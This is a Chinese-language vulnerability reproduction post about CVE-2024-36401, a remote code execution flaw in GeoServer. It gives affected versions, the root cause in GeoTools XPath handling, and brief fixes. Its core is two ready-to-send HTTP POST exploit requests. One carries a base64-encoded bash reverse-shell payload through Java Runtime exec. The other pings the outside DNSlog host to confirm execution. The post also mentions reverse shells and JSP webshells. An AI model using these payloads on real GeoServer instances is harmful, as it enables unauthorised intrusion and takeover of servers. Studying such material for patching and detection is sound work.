免责声明
请勿利用文章内的相关技术从事非法测试。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,请务必遵守网络安全法律法规。本文仅用于测试,请完成测试后24小时删除,请勿用于商业用途。如文中内容涉及侵权行为,请及时联系作者,我们会立刻删除并致歉。
01.简介
CVE-2024-36401是针对GeoServer的漏洞,以下是GeoServer简介。
GeoServer 是一个开源的服务器,用于分享、处理和编辑地理空间数据。它是由Open Source Geospatial Foundation(OSGeo)支持的一个项目,用于实现开放地理空间联盟(Open Geospatial Consortium,OGC)的各种规范,包括Web Map Service (WMS)、Web Feature Service (WFS)、Web Coverage Service (WCS)等。
以下是 GeoServer 的一些主要特点和功能:
1. 数据源支持:GeoServer 能够连接到多种数据源,包括空间数据库(如PostGIS)、文件格式(如Shapefiles、GeoTIFFs)、以及远程Web服务。
2. OGC 标准实现:GeoServer 完全支持以下OGC标准:
• Web Map Service (WMS):提供地图图像。
• Web Feature Service (WFS):提供地理要素数据。
3. 扩展性:GeoServer 设计灵活,支持插件和扩展,使得它可以轻松地添加新功能或数据格式。
4. 社区支持:作为一个开源项目,GeoServer 拥有一个活跃的社区,提供文档、教程、用户论坛和开发者资源。
5. 用户界面:GeoServer 提供了一个基于Web的管理界面,用户可以通过这个界面配置数据源、样式、服务和权限。
6. 样式和渲染:GeoServer 允许用户定义复杂的样式规则来渲染地图,支持SLD(Styled Layer Descriptor)标准。
7. 安全性:GeoServer 支持多种安全机制,包括用户认证、角色基于的访问控制、服务级安全等。
8. 性能:GeoServer 被设计为高性能的服务器,能够处理大量的并发请求。
9. 集成:GeoServer 可以与其他开源GIS软件(如OpenLayers、Leaflet用于前端地图展示,以及PostGIS用于后端数据存储)轻松集成。
GeoServer 广泛应用于政府、研究机构、企业和教育领域,用于发布和共享地理空间数据。由于它的开放性和灵活性,GeoServer 成为了地理空间数据发布和服务的首选平台之一。然而,和其他软件一样,GeoServer 也可能存在安全漏洞,因此需要定期更新和打补丁来保证服务器的安全性。
02.影响版本
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
漏洞成因
这个漏洞的根本原因在于GeoTools库中的一个问题,特别是与XPath表达式的处理有关。由于对XPath表达式的处理不当,攻击者可以执行远程代码。这种类型的攻击允许攻击者在受害者的计算机或网络上运行恶意代码。
应用界面
在进行漏洞复现时需要注意:typeNames必须存在,可以在Web页面/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false
中找到当前服务器中的所有Types
03.漏洞复现
EXP:
POST /geoserver/wfs HTTP/1.1
Host: xxxx:8080
Accept-Encoding: gzip, deflate, br
Accept:*/*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'bash -c {echo,base64(shell)}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
测试时候可以打一下DNSlog
POST /geoserver/wfs HTTP/1.1
Host: xxxx:8080
User-Agent:Mozilla/5.0(X11;Linux x86_64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/87.0.4280.88Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept:*/*
Connection: close
Content-Length: 320
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
也可以用来反弹shell,或者直接写个jsp一句话木马:
04.修复方式
1. 删除
WEB-INF/lib/gt-complex-x.y.jar
,依赖gt-complex-x.y.jar
的功能会受影响2. 更新到官方最新版本